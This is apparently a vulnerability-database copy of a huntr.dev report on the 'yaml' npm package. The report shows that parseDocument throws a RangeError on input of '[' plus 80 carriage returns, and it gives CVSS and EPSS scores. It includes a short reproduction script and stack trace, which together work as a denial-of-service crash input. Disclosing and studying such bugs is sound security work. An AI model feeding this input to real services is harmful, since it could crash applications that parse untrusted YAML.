Lucene search

K
huntrKharacternyk4B494E99-5A3E-40D9-8678-277F3060E96C
HistoryApr 22, 2023 - 1:56 p.m.

Uncaught exception in document parsing functions

2023-04-2213:56:46
kharacternyk
www.huntr.dev
18

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

0.0005 Low

EPSS

Percentile

14.3%

Description

The parseDocument and parseAllDocuments functions should never throw according to the documentation. However, when these functions are fed an invalid input with a lot (≥80) of carriage return characters (\r), an exception is thrown, which originates in the prettifyError function.

Proof of Concept

// reproduce.js
const yaml = require("yaml");
const string = "[" + "\r".repeat(80);
yaml.parseDocument(string);
$ yarn node reproduce.js
yarn node v1.22.19
/home/nazar/src/yaml-bug/node_modules/yaml/dist/errors.js:54
        const pointer = ' '.repeat(ci) + '^'.repeat(count);
                                             ^

RangeError: Invalid count value
    at String.repeat (<anonymous>)
    at /home/nazar/src/yaml-bug/node_modules/yaml/dist/errors.js:54:46
    at Array.forEach (<anonymous>)
    at Object.parseDocument (/home/nazar/src/yaml-bug/node_modules/yaml/dist/public-api.js:54:20)
    at Object.<anonymous> (/home/nazar/src/yaml-bug/reproduce.js:3:6)
    at Module._compile (node:internal/modules/cjs/loader:1254:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1308:10)
    at Module.load (node:internal/modules/cjs/loader:1117:32)
    at Module._load (node:internal/modules/cjs/loader:958:12)
    at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:81:12)

Node.js v18.14.2

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

0.0005 Low

EPSS

Percentile

14.3%

Related for 4B494E99-5A3E-40D9-8678-277F3060E96C